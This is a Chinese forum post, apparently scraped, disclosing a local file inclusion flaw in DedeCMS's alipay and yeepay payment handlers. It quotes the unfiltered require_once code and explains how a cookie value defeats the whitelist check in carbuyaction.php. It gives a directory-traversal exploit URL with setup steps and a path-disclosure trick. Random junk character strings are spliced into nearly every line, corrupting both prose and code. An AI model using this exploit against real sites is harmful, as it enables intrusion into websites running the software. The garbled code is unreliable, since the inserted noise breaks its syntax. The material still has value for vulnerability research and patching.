晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)! G* {1 _/ V" Y# j' a
4 x& {6 _2 Y5 p( l9 M
出现漏洞的两个文件为:
/ s$ K; o) G6 U' u" G3 K. sInclude/payment/alipay.php! W8 v' s9 p5 f5 z o
Include/payment/yeepay.php
; u1 ^; K n5 ~漏洞均出现在respond方法里,估计这两个文件是临时工写的。/ S$ S' U5 k9 a+ w
: t$ h/ Z8 s: I! L# p( o' VInclude/payment/alipay.php
6 w1 Q( S% W4 C* u- u2 e
/ L( |) J7 t& t7 V& R1 m( n8 {% H......4 k) }( S' n# r7 R9 g& M
function respond()' @" Y& G, I6 Q% {* |" u0 z/ v
{
' x: j. ^5 s a1 S2 r if (!empty($_POST))6 M2 A' U9 J3 K8 K4 l! o# {7 S
{* F) @0 i- }+ M, ]7 S
foreach($_POST as $key => $data)' i5 u: i: K& S: q( b
{4 ~& P( ~, _) V
$_GET[$key] = $data;
! ^3 o8 @1 v6 Z, x( R3 K0 P }7 Z4 z! w8 @: o8 ?' v
}7 B$ `* D' C# W! T! w
/* 引入配置文件 */
: x# G; C4 Z I# R! W require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';& B: F* q( h; Y8 U( Q1 U
......
o G1 A. N3 V3 D . Q$ X$ f; @' t L
$ K+ A( y) B0 ]$ B$ s/ c' f大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。3 K2 F( z; }8 m; b
+ \" k& f& D! a* _7 [' {$ `5 G# ?! N
Include/payment/yeepay.php
( ?2 S7 y+ R- [3 F6 a N- ~
! |. g) c7 [6 ~! M+ E ( \- ]# v8 O, P9 g
; B; L5 R( w; |' h+ i......
' e( a" L6 j5 v* `) j, w function respond()
/ e. I* t, p6 N' _* g7 O {, x O8 d0 }: G
8 a, s4 L5 c8 E4 n4 d8 F
/* 引入配置文件 */0 ?5 q; Y" w9 v8 l0 ]7 x5 R
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';" o8 W1 u3 G* ?2 {( ?& A( U
1 a6 ]0 A8 b( Z0 S, E $p1_MerId = trim($payment['yp_account']);
4 M$ q8 {! K# ^: n1 V- z $merchantKey = trim($payment['yp_key']);
2 f$ j, ]1 Y! G( p......
( B/ z) A, P& J" D9 m5 X
! ?. Z8 h% C+ _. P2 H+ h! }, b2 v& M, |. t: s' i4 z
' I$ b0 R& R- ?5 Y
- `0 d2 A! G+ s大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。9 v3 t( e! _6 T. x9 R W
Q. [! f1 W% p# R
这两个方法在plus/carbuyaction.php文件调用。
o/ K$ Y/ d/ Q
0 m* H# |5 ?1 | e! ?% m+ cplus/carbuyaction.php; t+ _% ]: C/ s0 W0 y7 L. j
2 M8 h/ j3 O! ]* l......4 D# o& K' z: B4 c0 g/ w% y$ [
} else if ($dopost == 'return') {2 k n) C9 k4 k" ?8 q. u2 l+ o6 g
$write_list = array('alipay', 'bank', 'cod', 'yeepay');
( m5 G% Z! K$ F/ ?1 m2 T ^/ M1 w if (in_array($code, $write_list))
% G; K5 U' n1 x8 D$ M) A' A {/ ~, O4 T. Z9 s0 T/ R$ l, x2 z% w
require_once DEDEINC.'/payment/'.$code.'.php';
, k- l, b$ H' z0 ~# ^ $pay = new $code;
3 B8 {8 ]% n, [/ C* d- s $msg=$pay->respond();4 p. D3 b) ~7 H/ y3 G2 M
ShowMsg($msg, "javascript:;", 0, 3000);5 M, r z' C- Z5 X0 k
exit(); ! ~3 `) b) R/ `- L0 k
} else {
7 I3 \: C. U W0 s( ? exit('Error:File Type Can\'t Recognized!');
5 G; O0 A$ G! g& s: C7 |* ~7 A1 v }1 e8 |% Z$ d) r. D" D- i, d
}+ w" V$ Y/ D9 n' P. I) ]7 E0 X+ c5 @( r" g
......
E* Z* |/ w u
! _& e4 q5 J3 `/ A9 Q: ^& s' C8 ~' N' l
: K% w! z* I! q8 `3 M/ u0 b& N" X; T1 r- F b" t7 I) a
. x1 W3 Z. [: [9 m5 G
0 T) R9 n8 t3 |# E3 f
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。 `: ^# X7 T2 R5 i
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
3 R+ Q9 X# ~3 F+ S$ i3 E8 F" S f9 N K* x9 e2 X+ q+ g* ^: @
回到include/common.inc.php来看看他的机制。
/ d/ e# h! K) u9 d" y! v% w6 l: O
1 K) w2 i$ p/ ^( |. ~ b& D
I( Y3 ]/ p' I: A0 i& N......# `+ w( a) K- p5 d( N5 w# |
foreach(Array('_GET','_POST','_COOKIE') as $_request) S. }! l% l7 V8 G+ @# F( \
{
; L5 t9 P9 S+ v foreach($$_request as $_k => $_v) # U, S+ R z" {' l2 [
{- `/ @1 f2 ^! Z6 U* G* F9 ]! \
if($_k == 'nvarname') ${$_k} = $_v;
' K4 Y& G: j0 T; Y% ~ else ${$_k} = _RunMagicQuotes($_v);
6 }9 Q' |7 L- y; S5 j+ W }
4 F/ F5 J$ v; Z l7 B}
# P4 E* Q! b+ p/ I0 b...... 0 F3 m, c0 I. K& N0 A* P
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:8 v) G" w' c4 E! u% s# H' j1 G1 _" X
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |